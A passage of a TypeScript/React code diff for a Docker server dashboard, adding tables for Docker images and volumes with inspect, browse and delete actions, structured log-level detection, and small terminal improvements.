import { api } from "@/utils/api";
|
||||
|
||||
type ImageBase =
|
||||
inferRouterOutputs<AppRouter>["dockerImage"]["getImages"][number];
|
||||
type ImageRow = ImageBase & { key: string };
|
||||
|
||||
interface Props {
|
||||
serverId?: string;
|
||||
}
|
||||
|
||||
const SIZE_UNITS: Record<string, number> = {
|
||||
b: 1,
|
||||
kb: 1e3,
|
||||
mb: 1e6,
|
||||
gb: 1e9,
|
||||
tb: 1e12,
|
||||
};
|
||||
|
||||
const parseSize = (size?: string) => {
|
||||
if (!size) return -1;
|
||||
const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim());
|
||||
if (!match?.[1] || !match[2]) return -1;
|
||||
return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1);
|
||||
};
|
||||
|
||||
const getReference = (image: ImageBase) =>
|
||||
image.Repository !== "<none>" && image.Tag !== "<none>"
|
||||
? `${image.Repository}:${image.Tag}`
|
||||
: image.ID;
|
||||
|
||||
const FORCE_HINT_REGEX =
|
||||
/must be forced|image is being used|referenced in multiple repositories/i;
|
||||
|
||||
const SortableHeader = ({
|
||||
column,
|
||||
title,
|
||||
}: {
|
||||
column: {
|
||||
getIsSorted: () => false | "asc" | "desc";
|
||||
toggleSorting: (asc: boolean) => void;
|
||||
};
|
||||
title: string;
|
||||
}) => (
|
||||
<Button
|
||||
variant="ghost"
|
||||
className="-ml-3 h-8"
|
||||
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||
>
|
||||
{title}
|
||||
<ArrowUpDown className="ml-2 size-4" />
|
||||
</Button>
|
||||
);
|
||||
|
||||
const ShowImageConfig = ({
|
||||
imageRef,
|
||||
serverId,
|
||||
}: {
|
||||
imageRef: string;
|
||||
serverId?: string;
|
||||
}) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
const { data, isLoading, error } = api.dockerImage.getImageConfig.useQuery(
|
||||
{ imageRef, serverId },
|
||||
{ enabled: open },
|
||||
);
|
||||
|
||||
return (
|
||||
<Dialog open={open} onOpenChange={setOpen}>
|
||||
<DialogTrigger asChild>
|
||||
<Button variant="ghost" size="icon-sm" aria-label="View image config">
|
||||
<Eye className="size-4" />
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Image Config</DialogTitle>
|
||||
<DialogDescription>
|
||||
docker image inspect output for "{imageRef}"
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
{error ? (
|
||||
<AlertBlock type="error">{error.message}</AlertBlock>
|
||||
) : isLoading ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : (
|
||||
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
|
||||
<code>
|
||||
<pre className="whitespace-pre-wrap wrap-break-word">
|
||||
<CodeEditor
|
||||
language="json"
|
||||
lineWrapping
|
||||
lineNumbers={false}
|
||||
readOnly
|
||||
value={JSON.stringify(data, null, 2)}
|
||||
/>
|
||||
</pre>
|
||||
</code>
|
||||
</div>
|
||||
)}
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
|
||||
export const ShowImages = ({ serverId }: Props) => {
|
||||
const utils = api.useUtils();
|
||||
const [sorting, setSorting] = useState<SortingState>([
|
||||
{ id: "Repository", desc: false },
|
||||
]);
|
||||
const [globalFilter, setGlobalFilter] = useState("");
|
||||
const [pagination, setPagination] = useState<PaginationState>({
|
||||
pageIndex: 0,
|
||||
pageSize: 10,
|
||||
});
|
||||
const [forcePrompt, setForcePrompt] = useState<{
|
||||
image: ImageRow;
|
||||
message: string;
|
||||
} | null>(null);
|
||||
|
||||
const { data: images, isLoading } = api.dockerImage.getImages.useQuery({
|
||||
serverId,
|
||||
});
|
||||
const { mutateAsync: removeImage } =
|
||||
api.dockerImage.removeImage.useMutation();
|
||||
|
||||
const rows = useMemo<ImageRow[]>(
|
||||
() =>
|
||||
(images ?? []).map((image) => ({
|
||||
...image,
|
||||
key: `${image.ID}-${image.Repository}-${image.Tag}`,
|
||||
})),
|
||||
[images],
|
||||
);
|
||||
|
||||
const filteredData = useMemo(() => {
|
||||
if (!globalFilter.trim()) {
|
||||
return rows;
|
||||
}
|
||||
const query = globalFilter.toLowerCase();
|
||||
return rows.filter(
|
||||
(image) =>
|
||||
image.Repository.toLowerCase().includes(query) ||
|
||||
image.Tag.toLowerCase().includes(query) ||
|
||||
image.ID.toLowerCase().includes(query),
|
||||
);
|
||||
}, [rows, globalFilter]);
|
||||
|
||||
const handleDelete = async (image: ImageRow, force = false) => {
|
||||
try {
|
||||
await removeImage({
|
||||
repository: image.Repository,
|
||||
tag: image.Tag,
|
||||
id: image.ID,
|
||||
force,
|
||||
serverId,
|
||||
});
|
||||
toast.success("Image deleted");
|
||||
setForcePrompt(null);
|
||||
await utils.dockerImage.getImages.invalidate();
|
||||
} catch (error) {
|
||||
const message = error instanceof Error ? error.message : "Unknown error";
|
||||
if (!force && FORCE_HINT_REGEX.test(message)) {
|
||||
setForcePrompt({ image, message });
|
||||
} else {
|
||||
toast.error("Error deleting image", { description: message });
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const columns = useMemo<ColumnDef<ImageRow>[]>(
|
||||
() => [
|
||||
{
|
||||
accessorKey: "Repository",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Repository" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<div
|
||||
className="max-w-[280px] truncate font-medium"
|
||||
title={row.original.Repository}
|
||||
>
|
||||
{row.original.Repository}
|
||||
</div>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: "Tag",
|
||||
header: ({ column }) => <SortableHeader column={column} title="Tag" />,
|
||||
cell: ({ row }) => <Badge variant="outline">{row.original.Tag}</Badge>,
|
||||
},
|
||||
{
|
||||
accessorKey: "ID",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Image ID" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="font-mono text-xs text-muted-foreground">
|
||||
{row.original.ID}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "Size",
|
||||
accessorFn: (image) => parseSize(image.Size),
|
||||
header: ({ column }) => <SortableHeader column={column} title="Size" />,
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground">{row.original.Size}</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "Created",
|
||||
accessorFn: (image) => new Date(image.CreatedAt).getTime() || 0,
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Created" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground whitespace-nowrap">
|
||||
{row.original.CreatedSince}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "actions",
|
||||
enableSorting: false,
|
||||
header: () => <div className="text-right">Actions</div>,
|
||||
cell: ({ row }) => (
|
||||
<div className="flex items-center justify-end gap-3">
|
||||
<ShowImageConfig
|
||||
imageRef={getReference(row.original)}
|
||||
serverId={serverId}
|
||||
/>
|
||||
<DialogAction
|
||||
title="Delete image"
|
||||
description={`The image "${getReference(row.original)}" will be removed from Docker. This action cannot be undone.`}
|
||||
onClick={() => handleDelete(row.original)}
|
||||
>
|
||||
<Button variant="ghost" size="icon-sm" aria-label="Delete image">
|
||||
<Trash2 className="size-4 text-destructive" />
|
||||
</Button>
|
||||
</DialogAction>
|
||||
</div>
|
||||
),
|
||||
},
|
||||
],
|
||||
[serverId],
|
||||
);
|
||||
|
||||
const table = useReactTable({
|
||||
data: filteredData,
|
||||
columns,
|
||||
getRowId: (row) => row.key,
|
||||
state: {
|
||||
sorting,
|
||||
pagination,
|
||||
},
|
||||
onSortingChange: setSorting,
|
||||
onPaginationChange: setPagination,
|
||||
getCoreRowModel: getCoreRowModel(),
|
||||
getSortedRowModel: getSortedRowModel(),
|
||||
getPaginationRowModel: getPaginationRowModel(),
|
||||
});
|
||||
|
||||
return (
|
||||
<div className="w-full">
|
||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
|
||||
<div className="rounded-xl bg-background shadow-md ">
|
||||
<CardHeader className="">
|
||||
<CardTitle className="text-xl flex flex-row gap-2">
|
||||
<Layers className="size-6 text-muted-foreground self-center" />
|
||||
Images
|
||||
</CardTitle>
|
||||
<CardDescription>
|
||||
Manage the Docker images of the selected server.
|
||||
</CardDescription>
|
||||
</CardHeader>
|
||||
|
||||
<CardContent className="space-y-4 py-8 border-t">
|
||||
{isLoading ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : !images?.length ? (
|
||||
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
|
||||
<div className="rounded-full bg-muted p-4">
|
||||
<Layers className="size-10 text-muted-foreground" />
|
||||
</div>
|
||||
<div className="space-y-1 text-center">
|
||||
<p className="text-sm font-medium">No images found</p>
|
||||
<p className="max-w-sm text-sm text-muted-foreground">
|
||||
Docker images pulled or built on this server will appear
|
||||
here.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<Input
|
||||
placeholder="Search by repository, tag or id..."
|
||||
value={globalFilter}
|
||||
onChange={(e) => setGlobalFilter(e.target.value)}
|
||||
className="max-w-xs"
|
||||
/>
|
||||
</div>
|
||||
<div className="rounded-md border overflow-x-auto">
|
||||
<Table>
|
||||
<TableHeader>
|
||||
{table.getHeaderGroups().map((headerGroup) => (
|
||||
<TableRow key={headerGroup.id}>
|
||||
{headerGroup.headers.map((header) => (
|
||||
<TableHead key={header.id}>
|
||||
{header.isPlaceholder
|
||||
? null
|
||||
: flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext(),
|
||||
)}
|
||||
</TableHead>
|
||||
))}
|
||||
</TableRow>
|
||||
))}
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
{table.getRowModel().rows?.length ? (
|
||||
table.getRowModel().rows.map((row) => (
|
||||
<TableRow key={row.id}>
|
||||
{row.getVisibleCells().map((cell) => (
|
||||
<TableCell key={cell.id}>
|
||||
{flexRender(
|
||||
cell.column.columnDef.cell,
|
||||
cell.getContext(),
|
||||
)}
|
||||
</TableCell>
|
||||
))}
|
||||
</TableRow>
|
||||
))
|
||||
) : (
|
||||
<TableRow>
|
||||
<TableCell
|
||||
colSpan={columns.length}
|
||||
className="h-24 text-center text-muted-foreground"
|
||||
>
|
||||
No images match your filters.
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
)}
|
||||
</TableBody>
|
||||
</Table>
|
||||
</div>
|
||||
{table.getPageCount() > 1 && (
|
||||
<div className="flex items-center justify-end gap-4">
|
||||
<span className="text-sm text-muted-foreground">
|
||||
Page {table.getState().pagination.pageIndex + 1} of{" "}
|
||||
{table.getPageCount()}
|
||||
</span>
|
||||
<div className="flex gap-2">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => table.previousPage()}
|
||||
disabled={!table.getCanPreviousPage()}
|
||||
>
|
||||
Previous
|
||||
</Button>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => table.nextPage()}
|
||||
disabled={!table.getCanNextPage()}
|
||||
>
|
||||
Next
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</CardContent>
|
||||
</div>
|
||||
</Card>
|
||||
<AlertDialog
|
||||
open={!!forcePrompt}
|
||||
onOpenChange={(open) => !open && setForcePrompt(null)}
|
||||
>
|
||||
<AlertDialogContent>
|
||||
<AlertDialogHeader>
|
||||
<AlertDialogTitle>Image is in use</AlertDialogTitle>
|
||||
<AlertDialogDescription>
|
||||
{forcePrompt?.message} Do you want to force the deletion? This may
|
||||
affect containers still using this image.
|
||||
</AlertDialogDescription>
|
||||
</AlertDialogHeader>
|
||||
<AlertDialogFooter>
|
||||
<AlertDialogCancel onClick={() => setForcePrompt(null)}>
|
||||
Cancel
|
||||
</AlertDialogCancel>
|
||||
<AlertDialogAction
|
||||
variant="destructive"
|
||||
onClick={() =>
|
||||
forcePrompt && handleDelete(forcePrompt.image, true)
|
||||
}
|
||||
>
|
||||
Force delete
|
||||
</AlertDialogAction>
|
||||
</AlertDialogFooter>
|
||||
</AlertDialogContent>
|
||||
</AlertDialog>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@ -72,8 +72,68 @@ export function parseLogs(logString: string): LogLine[] {
|
||||
.filter((log) => log !== null);
|
||||
}
|
||||
|
||||
const LEVEL_NAME_TO_TYPE: Record<string, LogType> = {
|
||||
trace: "debug",
|
||||
debug: "debug",
|
||||
info: "info",
|
||||
information: "info",
|
||||
notice: "info",
|
||||
warn: "warning",
|
||||
warning: "warning",
|
||||
error: "error",
|
||||
err: "error",
|
||||
fatal: "error",
|
||||
critical: "error",
|
||||
panic: "error",
|
||||
alert: "error",
|
||||
emergency: "error",
|
||||
};
|
||||
|
||||
const numericLevelToType = (level: number): LogType => {
|
||||
// pino/bunyan scale: 10=trace 20=debug 30=info 40=warn 50=error 60=fatal
|
||||
if (level >= 50) return "error";
|
||||
if (level >= 40) return "warning";
|
||||
if (level >= 30) return "info";
|
||||
if (level >= 10) return "debug";
|
||||
// syslog/GELF scale: 0=emergency ... 7=debug
|
||||
if (level <= 3) return "error";
|
||||
if (level === 4) return "warning";
|
||||
if (level <= 6) return "info";
|
||||
return "debug";
|
||||
};
|
||||
|
||||
// Extract the log level explicitly declared by structured loggers
|
||||
// (pino, bunyan, winston, zap, slog, logfmt, GCP severity)
|
||||
const getExplicitLevelType = (message: string): LogType | null => {
|
||||
// JSON string levels: {"level":"error"} / {"severity":"ERROR"} / {"log.level":"warn"}
|
||||
const jsonStringMatch = message.match(
|
||||
/"(?:level|severity|log\.level|loglevel)"\s*:\s*"([a-z]+)"/i,
|
||||
);
|
||||
if (jsonStringMatch?.[1]) {
|
||||
return LEVEL_NAME_TO_TYPE[jsonStringMatch[1].toLowerCase()] ?? null;
|
||||
}
|
||||
|
||||
// JSON numeric levels: {"level":50}
|
||||
const jsonNumericMatch = message.match(/"level"\s*:\s*(\d{1,2})\b/);
|
||||
if (jsonNumericMatch?.[1]) {
|
||||
return numericLevelToType(Number(jsonNumericMatch[1]));
|
||||
}
|
||||
|
||||
// logfmt: level=error
|
||||
const logfmtMatch = message.match(/(?:^|\s)(?:level|severity)=([a-z]+)\b/i);
|
||||
if (logfmtMatch?.[1]) {
|
||||
return LEVEL_NAME_TO_TYPE[logfmtMatch[1].toLowerCase()] ?? null;
|
||||
}
|
||||
|
||||
return null;
|
||||
};
|
||||
|
||||
// Detect log type based on message content
|
||||
export const getLogType = (message: string): LogStyle => {
|
||||
// A level explicitly declared by the logger wins over any inference
|
||||
const explicitType = getExplicitLevelType(message);
|
||||
if (explicitType) return LOG_STYLES[explicitType];
|
||||
|
||||
// Detect HTTP statusCode
|
||||
const statusMatch = message.match(/"statusCode"\s*:\s*"?(\d{3})"?/);
|
||||
|
||||
@ -97,17 +157,27 @@ export const getLogType = (message: string): LogStyle => {
|
||||
return LOG_STYLES.info;
|
||||
}
|
||||
|
||||
// Key/value pairs that explicitly report a non-error (e.g. "error: none",
|
||||
// "failed: false") must not trigger the error keyword patterns below
|
||||
const nonErrorColonPairs =
|
||||
/\b(?:error|err|errors|failed|failure|failures)\s*:\s*(?:none|null|nil|false|0|no|-|""|'')(?=[,;.)\]]|$)/gi;
|
||||
const nonErrorLogfmtPairs =
|
||||
/\b(?:error|err|errors|failed|failure|failures)\s*=\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi;
|
||||
const errorScope = lowerMessage
|
||||
.replace(nonErrorColonPairs, "")
|
||||
.replace(nonErrorLogfmtPairs, "");
|
||||
|
||||
if (
|
||||
/(?:^|\s)(?:error|err):?\s/i.test(lowerMessage) ||
|
||||
/\b(?:exception|failed|failure)\b/i.test(lowerMessage) ||
|
||||
/(?:stack\s?trace):\s*$/i.test(lowerMessage) ||
|
||||
/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(lowerMessage) ||
|
||||
/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(lowerMessage) ||
|
||||
/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(lowerMessage) ||
|
||||
/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(lowerMessage) ||
|
||||
/\[(?:error|err|fatal)\]/i.test(lowerMessage) ||
|
||||
/\b(?:crash|critical|fatal)\b/i.test(lowerMessage) ||
|
||||
/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(lowerMessage)
|
||||
/(?:^|\s)(?:error|err):?\s/i.test(errorScope) ||
|
||||
/\b(?:exception|failed|failure)\b/i.test(errorScope) ||
|
||||
/(?:stack\s?trace):\s*$/i.test(errorScope) ||
|
||||
/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(errorScope) ||
|
||||
/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(errorScope) ||
|
||||
/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(errorScope) ||
|
||||
/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(errorScope) ||
|
||||
/\[(?:error|err|fatal)\]/i.test(errorScope) ||
|
||||
/\b(?:crash|critical|fatal)\b/i.test(errorScope) ||
|
||||
/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(errorScope)
|
||||
) {
|
||||
return LOG_STYLES.error;
|
||||
}
|
||||
|
||||
@ -12,6 +12,7 @@ import {
|
||||
DropdownMenuTrigger,
|
||||
} from "@/components/ui/dropdown-menu";
|
||||
import { ShowContainerConfig } from "../config/show-container-config";
|
||||
import { FilesExplorerModal } from "../files/files-explorer-modal";
|
||||
import { ShowDockerModalLogs } from "../logs/show-docker-modal-logs";
|
||||
import { ShowContainerMounts } from "../mounts/show-container-mounts";
|
||||
import { ShowContainerNetworks } from "../networks/show-container-networks";
|
||||
@ -173,6 +174,12 @@ export const columns: ColumnDef<Container>[] = [
|
||||
>
|
||||
Terminal
|
||||
</DockerTerminalModal>
|
||||
<FilesExplorerModal
|
||||
containerId={container.containerId}
|
||||
serverId={container.serverId || undefined}
|
||||
>
|
||||
Browse Files
|
||||
</FilesExplorerModal>
|
||||
<UploadFileModal
|
||||
containerId={container.containerId}
|
||||
serverId={container.serverId || undefined}
|
||||
|
||||
@ -3,8 +3,10 @@ import React, { useEffect, useRef } from "react";
|
||||
import { FitAddon } from "xterm-addon-fit";
|
||||
import "@xterm/xterm/css/xterm.css";
|
||||
import { AttachAddon } from "@xterm/addon-attach";
|
||||
import { ClipboardAddon } from "@xterm/addon-clipboard";
|
||||
import { useTheme } from "next-themes";
|
||||
import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
|
||||
import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
|
||||
|
||||
interface Props {
|
||||
id: string;
|
||||
@ -45,6 +47,9 @@ export const DockerTerminal: React.FC<Props> = ({
|
||||
const ws = new WebSocket(wsUrl);
|
||||
|
||||
const addonAttach = new AttachAddon(ws);
|
||||
const clipboardAddon = new ClipboardAddon();
|
||||
term.loadAddon(clipboardAddon);
|
||||
fixMacOsAltKeys(term);
|
||||
// @ts-ignore
|
||||
term.open(termRef.current);
|
||||
// @ts-ignore
|
||||
@ -53,6 +58,7 @@ export const DockerTerminal: React.FC<Props> = ({
|
||||
addonFit.fit();
|
||||
return () => {
|
||||
ws.readyState === WebSocket.OPEN && ws.close();
|
||||
term.dispose();
|
||||
};
|
||||
}, [containerId, activeWay, id]);
|
||||
|
||||
|
||||
@ -0,0 +1,434 @@
|
||||
"use client";
|
||||
|
||||
import {
|
||||
type ColumnDef,
|
||||
flexRender,
|
||||
getCoreRowModel,
|
||||
getPaginationRowModel,
|
||||
getSortedRowModel,
|
||||
type PaginationState,
|
||||
type SortingState,
|
||||
useReactTable,
|
||||
} from "@tanstack/react-table";
|
||||
import type { inferRouterOutputs } from "@trpc/server";
|
||||
import {
|
||||
ArrowUpDown,
|
||||
Eye,
|
||||
FolderOpen,
|
||||
HardDrive,
|
||||
Loader2,
|
||||
Trash2,
|
||||
} from "lucide-react";
|
||||
import { useMemo, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { FilesExplorerModal } from "@/components/dashboard/docker/files/files-explorer-modal";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
CardContent,
|
||||
CardDescription,
|
||||
CardHeader,
|
||||
CardTitle,
|
||||
} from "@/components/ui/card";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import {
|
||||
Table,
|
||||
TableBody,
|
||||
TableCell,
|
||||
TableHead,
|
||||
TableHeader,
|
||||
TableRow,
|
||||
} from "@/components/ui/table";
|
||||
import type { AppRouter } from "@/server/api/root";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
type VolumeRow =
|
||||
inferRouterOutputs<AppRouter>["dockerVolume"]["getVolumes"][number];
|
||||
|
||||
interface Props {
|
||||
serverId?: string;
|
||||
}
|
||||
|
||||
const SIZE_UNITS: Record<string, number> = {
|
||||
b: 1,
|
||||
kb: 1e3,
|
||||
mb: 1e6,
|
||||
gb: 1e9,
|
||||
tb: 1e12,
|
||||
};
|
||||
|
||||
const parseSize = (size?: string) => {
|
||||
if (!size) return -1;
|
||||
const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim());
|
||||
if (!match?.[1] || !match[2]) return -1;
|
||||
return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1);
|
||||
};
|
||||
|
||||
const SortableHeader = ({
|
||||
column,
|
||||
title,
|
||||
}: {
|
||||
column: {
|
||||
getIsSorted: () => false | "asc" | "desc";
|
||||
toggleSorting: (asc: boolean) => void;
|
||||
};
|
||||
title: string;
|
||||
}) => (
|
||||
<Button
|
||||
variant="ghost"
|
||||
className="-ml-3 h-8"
|
||||
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||
>
|
||||
{title}
|
||||
<ArrowUpDown className="ml-2 size-4" />
|
||||
</Button>
|
||||
);
|
||||
|
||||
const ShowVolumeConfig = ({
|
||||
volumeName,
|
||||
serverId,
|
||||
}: {
|
||||
volumeName: string;
|
||||
serverId?: string;
|
||||
}) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
const { data, isLoading, error } = api.dockerVolume.getVolumeConfig.useQuery(
|
||||
{ volumeName, serverId },
|
||||
{ enabled: open },
|
||||
);
|
||||
|
||||
return (
|
||||
<Dialog open={open} onOpenChange={setOpen}>
|
||||
<DialogTrigger asChild>
|
||||
<Button variant="ghost" size="icon-sm" aria-label="View volume config">
|
||||
<Eye className="size-4" />
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Volume Config</DialogTitle>
|
||||
<DialogDescription>
|
||||
docker volume inspect output for "{volumeName}"
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
{error ? (
|
||||
<AlertBlock type="error">{error.message}</AlertBlock>
|
||||
) : isLoading ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : (
|
||||
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
|
||||
<code>
|
||||
<pre className="whitespace-pre-wrap wrap-break-word">
|
||||
<CodeEditor
|
||||
language="json"
|
||||
lineWrapping
|
||||
lineNumbers={false}
|
||||
readOnly
|
||||
value={JSON.stringify(data, null, 2)}
|
||||
/>
|
||||
</pre>
|
||||
</code>
|
||||
</div>
|
||||
)}
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
|
||||
export const ShowVolumes = ({ serverId }: Props) => {
|
||||
const utils = api.useUtils();
|
||||
const [sorting, setSorting] = useState<SortingState>([
|
||||
{ id: "Name", desc: false },
|
||||
]);
|
||||
const [globalFilter, setGlobalFilter] = useState("");
|
||||
const [pagination, setPagination] = useState<PaginationState>({
|
||||
pageIndex: 0,
|
||||
pageSize: 10,
|
||||
});
|
||||
|
||||
const { data: volumes, isLoading } = api.dockerVolume.getVolumes.useQuery({
|
||||
serverId,
|
||||
});
|
||||
const { data: sizes, isLoading: isLoadingSizes } =
|
||||
api.dockerVolume.getVolumesSize.useQuery({ serverId });
|
||||
|
||||
const sizeByName = useMemo(
|
||||
() => new Map((sizes ?? []).map((entry) => [entry.name, entry.size])),
|
||||
[sizes],
|
||||
);
|
||||
const { mutateAsync: removeVolume } =
|
||||
api.dockerVolume.removeVolume.useMutation();
|
||||
|
||||
const filteredData = useMemo(() => {
|
||||
const list = volumes ?? [];
|
||||
if (!globalFilter.trim()) {
|
||||
return list;
|
||||
}
|
||||
const query = globalFilter.toLowerCase();
|
||||
return list.filter((volume) => volume.Name.toLowerCase().includes(query));
|
||||
}, [volumes, globalFilter]);
|
||||
|
||||
const columns = useMemo<ColumnDef<VolumeRow>[]>(
|
||||
() => [
|
||||
{
|
||||
accessorKey: "Name",
|
||||
header: ({ column }) => <SortableHeader column={column} title="Name" />,
|
||||
cell: ({ row }) => (
|
||||
<div
|
||||
className="max-w-[280px] truncate font-medium"
|
||||
title={row.original.Name}
|
||||
>
|
||||
{row.original.Name}
|
||||
</div>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: "Driver",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Driver" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<Badge variant="outline">{row.original.Driver}</Badge>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: "Scope",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Scope" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground">{row.original.Scope}</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "Size",
|
||||
header: ({ column }) => <SortableHeader column={column} title="Size" />,
|
||||
sortingFn: (a, b) =>
|
||||
parseSize(sizeByName.get(a.original.Name) ?? undefined) -
|
||||
parseSize(sizeByName.get(b.original.Name) ?? undefined),
|
||||
cell: ({ row }) =>
|
||||
isLoadingSizes ? (
|
||||
<Loader2 className="size-3.5 animate-spin text-muted-foreground" />
|
||||
) : (
|
||||
<span className="text-muted-foreground">
|
||||
{sizeByName.get(row.original.Name) ?? "-"}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: "Mountpoint",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Mountpoint" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<div
|
||||
className="max-w-[320px] truncate font-mono text-xs text-muted-foreground"
|
||||
title={row.original.Mountpoint}
|
||||
>
|
||||
{row.original.Mountpoint}
|
||||
</div>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "actions",
|
||||
enableSorting: false,
|
||||
header: () => <div className="text-right">Actions</div>,
|
||||
cell: ({ row }) => (
|
||||
<div className="flex items-center justify-end gap-3">
|
||||
<FilesExplorerModal
|
||||
volumeName={row.original.Name}
|
||||
serverId={serverId}
|
||||
asDropdownItem={false}
|
||||
>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon-sm"
|
||||
aria-label="Browse volume files"
|
||||
>
|
||||
<FolderOpen className="size-4" />
|
||||
</Button>
|
||||
</FilesExplorerModal>
|
||||
<ShowVolumeConfig
|
||||
volumeName={row.original.Name}
|
||||
serverId={serverId}
|
||||
/>
|
||||
<DialogAction
|
||||
title="Delete volume"
|
||||
description={`The volume "${row.original.Name}" will be removed from Docker. This action cannot be undone.`}
|
||||
onClick={async () => {
|
||||
try {
|
||||
await removeVolume({
|
||||
volumeName: row.original.Name,
|
||||
serverId,
|
||||
});
|
||||
toast.success("Volume deleted");
|
||||
await utils.dockerVolume.getVolumes.invalidate();
|
||||
} catch (error) {
|
||||
toast.error("Error deleting volume", {
|
||||
description:
|
||||
error instanceof Error ? error.message : "Unknown error",
|
||||
});
|
||||
}
|
||||
}}
|
||||
>
|
||||
<Button variant="ghost" size="icon-sm" aria-label="Delete volume">
|
||||
<Trash2 className="size-4 text-destructive" />
|
||||
</Button>
|
||||
</DialogAction>
|
||||
</div>
|
||||
),
|
||||
},
|
||||
],
|
||||
[serverId, removeVolume, utils, sizeByName, isLoadingSizes],
|
||||
);
|
||||
|
||||
const table = useReactTable({
|
||||
data: filteredData,
|
||||
columns,
|
||||
state: {
|
||||
sorting,
|
||||
pagination,
|
||||
},
|
||||
onSortingChange: setSorting,
|
||||
onPaginationChange: setPagination,
|
||||
getCoreRowModel: getCoreRowModel(),
|
||||
